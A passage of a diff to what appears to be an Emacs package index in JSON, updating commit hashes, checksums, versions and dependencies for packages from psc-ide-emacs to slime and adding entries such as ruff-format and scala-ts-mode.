"a9b006bddd52e289029f16aa77b77e8e0033d9ee", + "sha256": "1j2ch3s2qzddj28ic9ardnzzrh730hzsiy4ilr2whbh60wxg23h7" } }, { @@ -99176,19 +99858,20 @@ "repo": "purescript-emacs/psc-ide-emacs", "unstable": { "version": [ - 20210219, - 2247 + 20240113, + 1224 ], "deps": [ "company", "dash", "flycheck", + "inheritenv", "let-alist", "s", "seq" ], - "commit": "ce97d719458ea099b40c02f05b6609601c727e66", - "sha256": "0xfw93pdf744h2yswc53qwyawfzkc31rv8dmha3irq7k1nklhq6y" + "commit": "4e614df553fb315d32ee9dac085109ee7786a3cf", + "sha256": "1qj50nfjqjm16h56g8basapa5fkxayrib1wzlxx2h8d1y1zn4nmv" } }, { @@ -99199,15 +99882,16 @@ "repo": "purescript-emacs/emacs-psci", "unstable": { "version": [ - 20230313, - 1333 + 20231219, + 52 ], "deps": [ "dash", + "inheritenv", "purescript-mode" ], - "commit": "9bb6a325325480be704130c9c69731631d2cf3a6", - "sha256": "07snrszm4lzdpv8k3mxsx3s9xz3n52g9ixxxwnhfa60hisb0i0x7" + "commit": "ef31045295f29485fc697892fba53390fe193595", + "sha256": "08bz7k42p9a66hgfhirf40wn3371md39w2w5gxyzw9alzdbi6hm6" }, "stable": { "version": [ @@ -99234,15 +99918,15 @@ "repo": "thierryvolpiatto/psession", "unstable": { "version": [ - 20231107, - 735 + 20231117, + 1648 ], "deps": [ "async", "cl-lib" ], - "commit": "76101f8a5afe705e4a815ab51b87aff03a64cb91", - "sha256": "1ylcqf882n2mzixs5r7r4fzyngic6spff9yc8mz5rvg4l4633qdl" + "commit": "5fdca68ca4bf4fafaf3aa438401ec611bc430782", + "sha256": "1696cqk9p06n9b8jqn37qb5y15slvfljsp5yxvahmscfcfnjfqs3" }, "stable": { "version": [ @@ -99553,11 +100237,11 @@ "repo": "AmaiKinono/puni", "unstable": { "version": [ - 20231111, - 1538 + 20231231, + 1415 ], - "commit": "518a5362870b6ef01d2d4a158bd38c7280687256", - "sha256": "1m7gvizfmvf1f6s4x72fszja90zq7sslmywgihzs7585107wy8s3" + "commit": "72e091ef30e0c9299dbcd0bc4669ab9bb8fb6e47", + "sha256": "1ns2r6nwakdnzjiq84qqzn85wwahc0k738awx9kxn9p0q2prpx5j" } }, { @@ -99930,16 +100614,16 @@ "repo": "andcarnivorous/pyconf", "unstable": { "version": [ - 20230308, - 2000 + 20231231, + 1842 ], "deps": [ "pyenv-mode", "pyvenv", "transient" ], - "commit": "e145e895e265474cb1ef5764d37eb47c6566e97f", - "sha256": "0ixdy08mmgrvipnn86zfy2571dqz7q2782ddxxd8syg2i03h061w" + "commit": "557c51dd22d27d71e22c536c4b0eb38e800aa840", + "sha256": "15xd1ibqqkvzydkvvv1az3y6ql5q7rpj62nlpw1p9z0jwan2vfyn" } }, { @@ -100421,11 +101105,11 @@ "repo": "thisch/python-cell.el", "unstable": { "version": [ - 20230911, - 1630 + 20240126, + 841 ], - "commit": "9f2a735e08362bf270ea74c27771ee3cd1bfefbf", - "sha256": "1viik15cb9jxbdkdfyb460ahf917qs34319f6gfs205kislrc1m0" + "commit": "ea469071adc72f371698934c3709ee370ac6be6f", + "sha256": "1y2nddvxjlg1p8nh38pahvacfpw688876a9x6v568vlyg1scilmr" } }, { @@ -100471,11 +101155,11 @@ "repo": "glyph/python-docstring-mode", "unstable": { "version": [ - 20230326, - 1929 + 20231203, + 2036 ], - "commit": "40f0ca57831a71a9e6437088149784f37704ef6c", - "sha256": "0mbmajl4j33wm7qyffqzaan35rzmj7w644fz67q3brr1rn3xbrk5" + "commit": "48e6489ec2db8b4959a9f591910941c2a5f132a3", + "sha256": "1rihjkqx0hhkh713gbin5r8xag95w4ip8bp9hgbkzha3crkfn0ji" } }, { @@ -100599,11 +101283,11 @@ "repo": "python-mode-devs/python-mode", "unstable": { "version": [ - 20230702, - 625 + 20231218, + 645 ], - "commit": "c60a675aac83505f1f664410dce3b4e64eef37a8", - "sha256": "1dbb1rg3r30yfllxvpnximy1rqgbyb6m4saf8gql9s7hyidbri6q" + "commit": "9678f77d0d0ab3d672374c4457b5a02ce49cd206", + "sha256": "10k1n6pmhy7ia60h1i2c4mzavlam8hqymq22w6r372pasfdp0x89" }, "stable": { "version": [ @@ -100851,11 +101535,11 @@ "repo": "ruediger/qrencode-el", "unstable": { "version": [ - 20230324, - 2335 + 20231127, + 21 ], - "commit": "d7896e9594d45d7b2622d4617ff9cb7037378167", - "sha256": "0yrshahci319lnjdpsksdy11a69k1n91qk9r2zfyhqmng09s6i0y" + "commit": "0ab1819ee39d15994a864db4d2dfa32e7a527f82", + "sha256": "09arkhdvbcl1g17909cpwc9cwfy2dsg6isijgm7k5qx7vj9xjmrf" }, "stable": { "version": [ @@ -101018,15 +101702,15 @@ "repo": "quelpa/quelpa-leaf", "unstable": { "version": [ - 20221231, - 1618 + 20240101, + 835 ], "deps": [ "leaf", "quelpa" ], - "commit": "296ef97c29d7540316441715b92f6d15430f3579", - "sha256": "1mcl6ziqqw1dh4kdz1ha8llk4yzljg0r5zrspyw6jw9c4dw4dwxg" + "commit": "162ae6bc91cfe26f0b013c1b6ce83c3fe3fb8463", + "sha256": "1wlpgwvszvn1rbh8v33djin9j213mryjm752hk3khp0k2pmsvnlb" }, "stable": { "version": [ @@ -101161,14 +101845,14 @@ "repo": "emacsorphanage/quickrun", "unstable": { "version": [ - 20221215, - 828 + 20240201, + 2014 ], "deps": [ "ht" ], - "commit": "7a89313c07a21eae9cd69a1a98e2a134d559e04f", - "sha256": "15z8ix2wi452zkh5qz1qlsvq8bnwjw8014k51i6rvw8aczm344lr" + "commit": "248149b0261051bd9eec8bdbc21c22d18d7b1b11", + "sha256": "02qayvia6mx3lwps5x573srag4zf2wbxm0xk0mzfpdki3ffjwhhi" }, "stable": { "version": [ @@ -101326,11 +102010,11 @@ "repo": "greghendershott/racket-mode", "unstable": { "version": [ - 20231115, - 1544 + 20240130, + 2013 ], - "commit": "296de3c15580805f2d84dd30e01eb9b12f18bc3f", - "sha256": "1w6pxgmm7s769g7falshpvnb0klql3pz3h9461rvgmvxmrraas93" + "commit": "d3ab936af10909874443cadb2e6c952faf2f536f", + "sha256": "0zfbqjivp2zdx8pk96jlzcg482k80vhkp82grlq7sjs9p6gypk54" } }, { @@ -101731,11 +102415,11 @@ "repo": "senny/rbenv.el", "unstable": { "version": [ - 20141120, - 749 + 20240120, + 6 ], - "commit": "2ea1a5bdc1266caef1dd77700f2c8f42429b03f1", - "sha256": "0yd0rs6fnc6lsfi7pivw5sivh698055r8ifj9vrxb82dcx2y6v2h" + "commit": "588b817d510737b9d6afd6d1ecddd517d96b78e5", + "sha256": "05hd8zqrx2b8f4k0jflb16f1kmhnag0ybwa8ri0bxggpx7d7mzpx" }, "stable": { "version": [ @@ -102665,25 +103349,25 @@ "repo": "minad/recursion-indicator", "unstable": { "version": [ - 20230924, - 818 + 20240122, + 2254 ], "deps": [ "compat" ], - "commit": "52b40acd95d1be370cad90805acd6f1a9a02f596", - "sha256": "029a0nf8rh6kc4kjr2l344r3q1ysk2ayhhmim0181r0zgyrfs51b" + "commit": "548838df2ef15fdd8e9d904d0a74182297e3383f", + "sha256": "1m9fxl405yprz0id18g7192h8sp51j07n8lc41lb3yn8vwl13g0l" }, "stable": { "version": [ - 0, - 4 + 1, + 1 ], "deps": [ "compat" ], - "commit": "31b67c17467fd8808efdc9875c9e8115f7b4b534", - "sha256": "1j3q99hlzr6is7w0062mfryqkw3nld3md0qwqgbklzhxngy3vpfi" + "commit": "548838df2ef15fdd8e9d904d0a74182297e3383f", + "sha256": "1m9fxl405yprz0id18g7192h8sp51j07n8lc41lb3yn8vwl13g0l" } }, { @@ -102724,8 +103408,8 @@ "repo": "thanhvg/emacs-reddigg", "unstable": { "version": [ - 20230810, - 2059 + 20240107, + 235 ], "deps": [ "ht", @@ -102733,8 +103417,8 @@ "promise", "request" ], - "commit": "37f048ec03d02acaf6f5c73802677f10b2dfe031", - "sha256": "11w1p3z4mr8wly96a0jianf7qfzb0la2jnv6iwhqdx4752h0zq2v" + "commit": "633c628d4544616cd023ca540819b784a6986426", + "sha256": "1lrb8fn31wc51yf8znaf51r2771jsv89qbjankwpnsf78yfb57b7" } }, { @@ -102910,11 +103594,11 @@ "repo": "purcell/emacs-reformatter", "unstable": { "version": [ - 20230804, - 648 + 20231122, + 838 ], - "commit": "bfe3f1c6ece952d39921db16f601123bdd1748ab", - "sha256": "1vm030lz489vjx1dz1jrnj7zd2b43y98rffdxyshfvxbfv1cbmyk" + "commit": "ebea79504b40fecb150caf8c39621146164f997e", + "sha256": "1n8qxrs8103bibzxjs21mzjdmjsnb44hsb2cy7fnx2rax19r9dja" }, "stable": { "version": [ @@ -103002,11 +103686,11 @@ "repo": "alvarogonzalezsotillo/region-occurrences-highlighter", "unstable": { "version": [ - 20230408, - 1404 + 20231122, + 1110 ], - "commit": "3fbac20154035d75238facbc3b881ab3b47ab711", - "sha256": "13l2kjkxmmsq8ad07pkdrfwzfr0wp2cx4vz6j4ac0z3nfhng11b1" + "commit": "f9ad995553be1e6dd70540d7ab1ca0be3077438e", + "sha256": "0nqg4mr9218avv6yfpgzcr8ah2y9sq9bfpkdavsiaj3ispa0fhhd" } }, { @@ -103260,8 +103944,8 @@ "repo": "alhassy/repl-driven-development", "unstable": { "version": [ - 20231023, - 1120 + 20231123, + 1917 ], "deps": [ "bind-key", @@ -103276,8 +103960,8 @@ "pulsar", "s" ], - "commit": "8877f692112459095649735ac4d023248b3905ae", - "sha256": "19zj743ayv322cz13kilkkl4djpzs9q22z6qhk0ipasy1kdijh57" + "commit": "05bd1cee8f298173010ed17a98ba2b94cb08d830", + "sha256": "1ladm2gmvmhhccly1l2m0c1389xy50dacqbjzk1rw6mdbscgjqlm" } }, { @@ -103371,30 +104055,30 @@ "repo": "knu/replace-with-inflections.el", "unstable": { "version": [ - 20180831, - 635 + 20240122, + 927 ], "deps": [ "cl-lib", "inflections", "string-inflection" ], - "commit": "d9201e047856492f282da65459b28aba25998dbb", - "sha256": "09yvn489z33hww7mi1flh344faxrpbkzqhm0i6xb2rridcj7acqh" + "commit": "c57cfb06752bb17389465890ff0ef58a7dd465d2", + "sha256": "1sybgr4rlhgbpzljn82dp5jxqyvcmbxqlc4xcqsdsci3bxjs1999" }, "stable": { "version": [ 0, 3, - 1 + 2 ], "deps": [ "cl-lib", "inflections", "string-inflection" ], - "commit": "d9201e047856492f282da65459b28aba25998dbb", - "sha256": "09yvn489z33hww7mi1flh344faxrpbkzqhm0i6xb2rridcj7acqh" + "commit": "c57cfb06752bb17389465890ff0ef58a7dd465d2", + "sha256": "1sybgr4rlhgbpzljn82dp5jxqyvcmbxqlc4xcqsdsci3bxjs1999" } }, { @@ -103405,11 +104089,11 @@ "repo": "canatella/repo-el", "unstable": { "version": [ - 20230821, - 1032 + 20240119, + 859 ], - "commit": "529623db7c38917709e84d89d518873231139c10", - "sha256": "19ms55dd5j2jm0ln5ba1w63q1g348xjwiykng82n5cblvnvpdidp" + "commit": "a257b3f8f47fbb4fc7d5dea967dc543e01c58fee", + "sha256": "084d968fgf79vas4jjmm0rmvaf2d4zqxd6c63s2xzcxql1byybzn" }, "stable": { "version": [ @@ -103759,15 +104443,15 @@ "repo": "jcs-elpa/reveal-in-folder", "unstable": { "version": [ - 20220704, - 659 + 20240118, + 611 ], "deps": [ "f", "s" ], - "commit": "7b2b02356b75e224a0414995af95d45786ee6f7d", - "sha256": "1njn98psl211s5hmf8v7hf09g70qzy7ylyfd2qrqhblrbl5gyya5" + "commit": "c774564e3a35d8112ec3f399f76941cb63317a4e", + "sha256": "074r3v33k82s4xksihq52kl3hpxk98np7x7mqjiqvldmaqc3y6ym" }, "stable": { "version": [ @@ -103952,15 +104636,15 @@ "repo": "dajva/rg.el", "unstable": { "version": [ - 20230430, - 721 + 20231202, + 1023 ], "deps": [ "transient", "wgrep" ], - "commit": "e9dc4ed342e0212d08fb82554dfd3c57fdfa5b1a", - "sha256": "17kjmw9pfxbzznpv26g1528mcmyv7afsk9ppsjmv0fx95zmr64z0" + "commit": "4885473a6d248a6ee508b7b7ef3705762af631d9", + "sha256": "16ahhwa24g8wgmf8p000jqmfz541dw2b39vx7zv8s9dlzlcbm9xj" }, "stable": { "version": [ @@ -104180,8 +104864,8 @@ "repo": "DogLooksGood/emacs-rime", "unstable": { "version": [ - 20231108, - 959 + 20240130, + 1427 ], "deps": [ "cl-lib", @@ -104189,8 +104873,8 @@ "popup", "posframe" ], - "commit": "fd434071ce95c41e5d580e303ccf2a65f189e7ec", - "sha256": "1kzksqz71jnqn10841fasyydj0bqfs9hjd0yvpj7wk0knhjz2g11" + "commit": "d8c0a99b0282d3e0aca53146789f6864181228e7", + "sha256": "0bj26a989x9yav0ryijxzg4wl53gf6w6r2jvnwavsm4cify547xg" }, "stable": { "version": [ @@ -104395,11 +105079,11 @@ "repo": "jgkamat/rmsbolt", "unstable": { "version": [ - 20231024, - 221 + 20240105, + 614 ], - "commit": "86c6e12a85db472e6660ef7fef12a4e719ef3c66", - "sha256": "1kvl8syz700vl2dbva4k1vdzxd67sjby4w4zsl62njvbvwzvcj0r" + "commit": "2643d71b34f53eccb6188f548f5d1349adef07fb", + "sha256": "0xnbp55nrs5wxhrfvym3sfqamf499mlzj6zsw9bhp6r1sjidl21i" } }, { @@ -104410,14 +105094,14 @@ "repo": "dgutov/robe", "unstable": { "version": [ - 20231023, - 2046 + 20240118, + 348 ], "deps": [ "inf-ruby" ], - "commit": "021a7bc34848ef77eaeaa41d7899c6cab873cb0e", - "sha256": "0s0cmj1vmfa9gwn388ll3fpsv25q3v6vvj6k4xlcn75kdfzsbx59" + "commit": "0438ae818e2551637ee3ec8baf5bbf471eef9359", + "sha256": "0knawwja1dba172kjw8hypzvnngcsd9xspy2j42n66npi12yyky8" }, "stable": { "version": [ @@ -104464,20 +105148,20 @@ "repo": "kopoli/robot-mode", "unstable": { "version": [ - 20221109, - 1630 + 20231118, + 826 ], - "commit": "fb9be47a1d4e57a80ae2c0d4dff3eba2fe29ebdc", - "sha256": "10i4lwjf60ms3dj8s7k9c0vb24rhszskhciz9lijphcdh8k622hz" + "commit": "cb12e5adcba3379a67483e268229c152e0a8405f", + "sha256": "1a377lws4f0az2y1r3z2i3mghvg7a4094wkchvjvsl1nd6yxdxwa" }, "stable": { "version": [ 0, - 7, + 8, 0 ], - "commit": "fb9be47a1d4e57a80ae2c0d4dff3eba2fe29ebdc", - "sha256": "10i4lwjf60ms3dj8s7k9c0vb24rhszskhciz9lijphcdh8k622hz" + "commit": "cb12e5adcba3379a67483e268229c152e0a8405f", + "sha256": "1a377lws4f0az2y1r3z2i3mghvg7a4094wkchvjvsl1nd6yxdxwa" } }, { @@ -104599,8 +105283,8 @@ "repo": "mbeutelspacher/ros.el", "unstable": { "version": [ - 20231016, - 1402 + 20231212, + 729 ], "deps": [ "cl-lib", @@ -104613,8 +105297,8 @@ "transient", "with-shell-interpreter" ], - "commit": "aaf32cde6835826551f2b73e4dc8b63d0ff26eb0", - "sha256": "1fy4rbz9101vj8jla0l0f5dqsxn8bx2b0ccmrvsw13sd5rf63akv" + "commit": "66e0cc154dc7d8ae105f2c95ed9f6a16445945d0", + "sha256": "1c5c8678vclr7z9jgfyr67cz77ny810vybimx3bgxflanh9w102a" } }, { @@ -105109,6 +105793,24 @@ } }, { + "ename": "ruff-format", + "commit": "e0b516fcfb447d0cadcf90cd748b6cedba57000e", + "sha256": "077inhas0v7bcla08hsq7v08fmsgrfrz4cg1ii8n0h48nrq6anfk", + "fetcher": "github", + "repo": "scop/emacs-ruff-format", + "unstable": { + "version": [ + 20231117, + 2220 + ], + "deps": [ + "reformatter" + ], + "commit": "af6bd49b48cd1583b05268b7d2efc1c7e1c6a113", + "sha256": "1d7p22rgrmi88jrw3g7ry6h3xdabkcfnchk8x5af12pgqpfh2r2x" + } + }, + { "ename": "rufo", "commit": "123b89e06a44ef45150ca7243afc41302dfb6c6e", "sha256": "0pxsifcxic3q54rqj0jbj20hq7f2s4icl57lligf9g0w23qzj239", @@ -105203,16 +105905,16 @@ "repo": "semenInRussia/emacs-run-command-recipes", "unstable": { "version": [ - 20231003, - 1823 + 20231219, + 1331 ], "deps": [ "dash", "f", "run-command" ], - "commit": "3d4c05225d54c97a4aef375113e6f4de9ea3aaef", - "sha256": "1kgk12p6gv8bgn9chcxpfazzgmw7rsadhii37j62llvx7bnyj13w" + "commit": "63405333f23b33ecda08e716eca8588c8950952d", + "sha256": "0wlg7qx7r94cnnrhp99wfiwna1zwccshg93r32zj2ah9j4mba500" } }, { @@ -105618,10 +106320,10 @@ }, { "ename": "sailfish-scratchbox", - "commit": "e76261e7dffcb607839440843b085709c2c90b26", - "sha256": "1s0glsi4fm6is7fv9vy1h14frq8a4bgahkc8w08vqfnpiin2r567", + "commit": "961347dfc1340e32892bb8eb54e3f484c1a72577", + "sha256": "1fl7jffvfy29p2kcwgix5hnrj39yyqash9nd4v3ycxrwqbkzlc2z", "fetcher": "github", - "repo": "vityafx/sailfish-scratchbox.el", + "repo": "iddm/sailfish-scratchbox.el", "unstable": { "version": [ 20171202, @@ -105996,11 +106698,11 @@ "repo": "hvesalai/emacs-scala-mode", "unstable": { "version": [ - 20221025, - 1502 + 20240113, + 1743 ], - "commit": "5d7cf21c37e345c49f921fe5111a49fd54efd1e0", - "sha256": "1dygncmjizlg33g2yghihmkf5hjwhrd8b63qvl4dndxwbq995n6r" + "commit": "4c6d636b86e3bb1d95de819dc48dda92abdfbcf4", + "sha256": "0d3x0fk09a2bl2f7sy6k28164r8s2hvshh20p5kp1rg75y0syksa" }, "stable": { "version": [ @@ -106013,6 +106715,21 @@ } }, { + "ename": "scala-ts-mode", + "commit": "0dce6a06d842251ca42c515bcdd5c8e4b63424b6", + "sha256": "0x3ip9x72jbn56ddvjxd0qggq5bcp1bdvyy36nx51czlvz8vw4gf", + "fetcher": "github", + "repo": "KaranAhlawat/scala-ts-mode", + "unstable": { + "version": [ + 20231107, + 1258 + ], + "commit": "cbfab189842ce564d9514f1b65a72b0af0d51438", + "sha256": "1gf9ss0vbyf9y0x3aldj76p8g1rn104pp5pvmig05arw61i0wpdr" + } + }, + { "ename": "scf-mode", "commit": "376be7f8903dbea69643600ae14e934ee5e2a11b", "sha256": "0acbrw94q6cr9b29mz1wcbwi1g90pbm7ly2xbaqb2g8081r5rgg0", @@ -106551,15 +107268,15 @@ "repo": "jcs-elpa/searcher", "unstable": { "version": [ - 20220704, - 758 + 20240101, + 938 ], "deps": [ "dash", "f" ], - "commit": "6debf99431a5cb4d1db55e5379453c6a181a133f", - "sha256": "18jl7ccv7b4p9gr9dkqpidkwazqly7nic99x29av0f8vicmg00w3" + "commit": "b2b62cb49312725b05d133c2e155b00d885dc8f5", + "sha256": "0irpy5sfy5mdxqjrgiy8qiq283gvqrl80bb4xk9k9qb4rfc60gz1" }, "stable": { "version": [ @@ -106827,27 +107544,27 @@ "repo": "radian-software/prescient.el", "unstable": { "version": [ - 20221216, - 112 + 20231205, + 137 ], "deps": [ "prescient", "selectrum" ], - "commit": "72b023f5fc1ae2bbf2f51f1786cc012d40671bf4", - "sha256": "1mc9pjb80bxcmzaylfwh0sgpvwbx3h35jalznwz464hw3vqfff83" + "commit": "b701032968d6ab6f4d37b45fec282cf9c6e479c6", + "sha256": "18k8mki0b904qi4xl50w7bb65xhzl4d6d23qyngw33sbd83m8vq0" }, "stable": { "version": [ 6, - 1 + 2 ], "deps": [ "prescient", "selectrum" ], - "commit": "72b023f5fc1ae2bbf2f51f1786cc012d40671bf4", - "sha256": "1mc9pjb80bxcmzaylfwh0sgpvwbx3h35jalznwz464hw3vqfff83" + "commit": "c0eca3328313f1e93d24e686307516f43a484ba2", + "sha256": "1vj21kcqlsa02nvslmxgxsbv4pc93gakj4x2a6rbk87zl6ccw7pk" } }, { @@ -107077,15 +107794,15 @@ "repo": "twlz0ne/separedit.el", "unstable": { "version": [ - 20230513, - 306 + 20240119, + 633 ], "deps": [ "dash", "edit-indirect" ], - "commit": "9f5027a9a9c2e67562bc39839415d7c7f318e9a8", - "sha256": "1flbn3b3y0hdcr8hgy5r3f38xwja7p0hvh59jfdnlqg4y5l3ajf8" + "commit": "bfd0902d771f9f0160e4f16a7b6e8c29ce3447fe", + "sha256": "0qripg4hzyfldb39w44sp1iyg9c0nys9bny83rswxmqkha1f3904" }, "stable": { "version": [ @@ -107147,6 +107864,30 @@ } }, { + "ename": "sequential-yank", + "commit": "326d451fea191dd806b9e8e4dc6b37bda788fa12", + "sha256": "1xhp3dpcd9s95mhi1y8g7v637by8v5ym2h77vk883x63nxsdd1k4", + "fetcher": "github", + "repo": "knu/sequential-yank.el", + "unstable": { + "version": [ + 20231126, + 1530 + ], + "commit": "3c7f98a842c391b59379566cbf03f143004b26da", + "sha256": "0jqprwmnrxifc2grgg5vsv03lvy38bv77nwsgq65kdy1g3xxqkna" + }, + "stable": { + "version": [ + 0, + 1, + 3 + ], + "commit": "3c7f98a842c391b59379566cbf03f143004b26da", + "sha256": "0jqprwmnrxifc2grgg5vsv03lvy38bv77nwsgq65kdy1g3xxqkna" + } + }, + { "ename": "seriestracker", "commit": "9370b3c06f065ee50ed7e4ffcfd9d503b6e9563f", "sha256": "03vg4y262yy0y3xh0imx4mh59z2lhzif5jxnad2w385khnyj1n21", @@ -107259,11 +108000,11 @@ "repo": "vspinu/sesman", "unstable": { "version": [ - 20210901, - 1134 + 20240115, + 2143 ], - "commit": "e0f555f963c9f02f8e4a50e06fc353eb4c15ee77", - "sha256": "1xczx6yavpqjx6sjhfnaw7ls5rh54zq8m7y4jidgx4rdz8y28b0a" + "commit": "ec7390c0d0fb8b278aa06848634f922bc893de31", + "sha256": "1is8ny27xzlx2shhps75xi0hdipkj7jphbsl1bgzwvmln9jqfd9v" }, "stable": { "version": [ @@ -107298,14 +108039,14 @@ "repo": "FelipeLema/session-async.el", "unstable": { "version": [ - 20230223, - 313 + 20231125, + 2106 ], "deps": [ "jsonrpc" ], - "commit": "e06835ea181b3a15099280527c9a4590d2fa61d1", - "sha256": "10yh94bvvnq2aszg64xvbkn8zbr4bmhj3x7q44i71qqpblb5jwj5" + "commit": "6e361073256740ce546f4fa104045f2b3818ef94", + "sha256": "1fhjsjwwqffqpgvcm8c7yfc5q7p94ysvs6hpkidydcz6il90sx1z" } }, { @@ -107594,11 +108335,11 @@ "repo": "elizagamedev/shell-command-x.el", "unstable": { "version": [ - 20231106, - 1958 + 20231214, + 1 ], - "commit": "4b844554ee6250983717d136b2eadebcece945e3", - "sha256": "0r520k9fynlj5rbvwd48amd14vzlfzywz1bqrwm86w7vy06gy4qm" + "commit": "d2fe4d08be306d6570f3c316ea06b0e6931ea5d5", + "sha256": "0m14vag42yli8fvwf7s3gqr1bx59w83bvz3149hcgddg1cmxizbc" }, "stable": { "version": [ @@ -107663,11 +108404,11 @@ "repo": "xenodium/chatgpt-shell", "unstable": { "version": [ - 20231112, - 442 + 20240112, + 1749 ], - "commit": "b9f193703f34a5ec923b0fdd34f38b3579d04140", - "sha256": "18sw8whar1r3y4jcml2yjf8symm8a6dvmw9ld80cacwyia3d20fn" + "commit": "39dd8e7415ebe6d836a1d721337019cfea89f5ad", + "sha256": "0xylvqjhdwmgbcm412jgyir8kwb16j1jzwp708z1p0yaw4j7c54c" } }, { @@ -107678,14 +108419,14 @@ "repo": "kyagi/shell-pop-el", "unstable": { "version": [ - 20200315, - 1139 + 20231228, + 612 ], "deps": [ "cl-lib" ], - "commit": "4b4394037940a890a313d715d203d9ead2d156a6", - "sha256": "0s77n6b9iw1x3dv91ybkpgy3zvqd12si7zw3lg0m2b6j1akrawsg" + "commit": "ff3dc705ee1c7bc566b35c17e4635c57061fe3ae", + "sha256": "0awhya3v78k5jkhprifd44aycgv2d40hnmldfw4g7cvljvxzclal" }, "stable": { "version": [ @@ -107919,14 +108660,14 @@ "repo": "purcell/emacs-shfmt", "unstable": { "version": [ - 20220602, - 1535 + 20240104, + 1218 ], "deps": [ "reformatter" ], - "commit": "279a51defa3e0d97dc40b8a26e078699d4e22e90", - "sha256": "1kzi8gy37cm1z4x69400gbkawx4k0jafvz8m50w0b48nvrvsy6ys" + "commit": "1a747c53eab1c0cd4d2708e5ffb953f9761ca7fb", + "sha256": "1a288nq4ig9ydcbkys4x4dm5hx98jw784h0fm6mgs9p7byf5agdc" }, "stable": { "version": [ @@ -108066,11 +108807,11 @@ "repo": "jcs-elpa/show-eol", "unstable": { "version": [ - 20220919, - 631 + 20240101, + 931 ], - "commit": "ad3aa8f4fa0d1b20f8526536f0ac35386f521372", - "sha256": "18rlqd4wssvx1497c599a9j54cb8zqjkwb60z10dff4z0xjlri8b" + "commit": "febc1df7ac1c7006b3f0993a3436575e8e0dc71d", + "sha256": "0lqnh43gbh3aipl6mk07cxpqsylh5bs3gzcr18r4xmdnxvg3q3x4" }, "stable": { "version": [ @@ -108458,11 +109199,11 @@ "repo": "emacs-sideline/sideline", "unstable": { "version": [ - 20231020, - 621 + 20240101, + 918 ], - "commit": "1c6a15d23d50df218c8c1546bbcc31b5fabe8af9", - "sha256": "0hiljzbxnz980x3arc88190lrcxkkfvd7asn8k7s91l26v9lis0s" + "commit": "20e04fa2fd4dcc0cba47d0336aab37f3f42909d3", + "sha256": "09lir5agc0jnd2k09mqrxbkh8z7lcqrw166qs25vxxv1cpzggbaq" }, "stable": { "version": [ @@ -108482,15 +109223,15 @@ "repo": "emacs-sideline/sideline-blame", "unstable": { "version": [ - 20231015, - 1917 + 20240101, + 918 ], "deps": [ "sideline", "vc-msg" ], - "commit": "014ac17de30b4fcafa7b73d8c886cffa3807d8b1", - "sha256": "16jircw28fhamzppjqfnga6qv6bfxfyj0dlj1mqyv64j3v21dnqm" + "commit": "b597c047d2a8ef7dd155e85e43fd65530ecf0a61", + "sha256": "1w5bjrqsvi8k88giav3h7qagmwvs3n60ml9yd1avm49mb2xvd16n" }, "stable": { "version": [ @@ -108514,16 +109255,16 @@ "repo": "emacs-sideline/sideline-flycheck", "unstable": { "version": [ - 20230402, - 1816 + 20240101, + 918 ], "deps": [ "flycheck", "ht", "sideline" ], - "commit": "3d74a008835eff71899b9455cd00f989378fe70e", - "sha256": "0y2cn8b7nh5fjcra78pmrjrsb06if1jrrq5wng2n08h39x6fjwi4" + "commit": "36262547f57699b02e456661156600b044ef26da", + "sha256": "1y24k66cjdq21pals5n01y2mj5nazn2nfiijww4znwzpaabsqi9p" }, "stable": { "version": [ @@ -108547,14 +109288,14 @@ "repo": "emacs-sideline/sideline-flymake", "unstable": { "version": [ - 20230402, - 1816 + 20240101, + 917 ], "deps": [ "sideline" ], - "commit": "316325cb050d13f33e83e7d7823e3730a70ecf4e", - "sha256": "1fkvj2azswczxc8s8vkw9kp7r2sv3369hc0wrwsrmv96hn3lcc4w" + "commit": "e6b0e7dd7eea511aad1d9af1d944f1379bd7ad7d", + "sha256": "0viw2hhcy8af4knmcilzc9sp2dh4d0yakamyrqhgn2wn5a9q149z" }, "stable": { "version": [ @@ -108577,8 +109318,8 @@ "repo": "emacs-sideline/sideline-lsp", "unstable": { "version": [ - 20221231, - 1636 + 20240101, + 918 ], "deps": [ "dash", @@ -108587,8 +109328,8 @@ "s", "sideline" ], - "commit": "38ba700db1769de216989fb9217795934147d160", - "sha256": "01dhnfcc0mig98l7vzc0nfdhz2y041d19jv2r9qp1l6cklimpzfd" + "commit": "0a085a29b943eede42824981b5d0cd9fb951e9d8", + "sha256": "0xpqxdfqy8wv2wcqwzwhhmvlg15d120sicp2965qsp762slafqhc" }, "stable": { "version": [ @@ -108863,17 +109604,17 @@ }, { "ename": "simple-screen", - "commit": "02db9a649002ed9dec03661a518f74f3c7a176d9", + "commit": "c1f6256e8ef106684b1b546003ec8b591fdea560", "sha256": "16zvsmqn882w320h26hjjz5lcyl9y0x4amkf2zfps77xxmkmi5n0", "fetcher": "github", "repo": "wachikun/simple-screen", "unstable": { "version": [ - 20200926, - 109 + 20240127, + 214 ], - "commit": "3ce535755986f7c25890d11e42fa621a3a069a4f", - "sha256": "1cfgmpffqdxg536whik4ph2knxnmbgr4njq744glx82sfy9qp6wx" + "commit": "1c5d025dd267ec7b0c8f210a27b2b8f8e11fc07b", + "sha256": "1lnhfc8axggc0z6jz6d1l0dm5f9mkszg5wzh5nn8z0690mmj97vx" } }, { @@ -109031,14 +109772,11 @@ "repo": "laishulu/emacs-smart-input-source", "unstable": { "version": [ - 20231110, - 1642 - ], - "deps": [ - "terminal-focus-reporting" + 20231211, + 1602 ], - "commit": "24bb3bca50c67855eba077aeeb3af86c18569aae", - "sha256": "1gsqqcxmcx6v3ljwr7fj95ibxn8g798ycm4bi4v9n2ywqsn0kphk" + "commit": "23f3fe8b95e0570b65aa21b9db57c906aa9f35fd", + "sha256": "1gc1z176nbc3hxx0wwid68bajbl1pwxllsmmsnpqx665zcn7qvnb" } }, { @@ -109049,8 +109787,8 @@ "repo": "magit/sisyphus", "unstable": { "version": [ - 20230901, - 1236 + 20240106, + 1315 ], "deps": [ "compat", @@ -109058,8 +109796,8 @@ "llama", "magit" ], - "commit": "c48b803a193c982e161f735652cb5ffedf0ca03b", - "sha256": "15svzqi9hvz2rs07jnh0ivisiavk570dq7bxgyxy9jsmqp0kqxkn" + "commit": "85f73d86b9a058461e77ed4db372aafcf6666a13", + "sha256": "0z4ipba6zjck49wlm47b5f0c1mwi8dqylh2aq6xxlrcw4f3nn1lr" }, "stable": { "version": [ @@ -109373,27 +110111,28 @@ "repo": "slime/slime", "unstable": { "version": [ - 20231112, - 2019 + 20240125, + 1336 ], "deps": [ "cl-lib", "macrostep" ], - "commit": 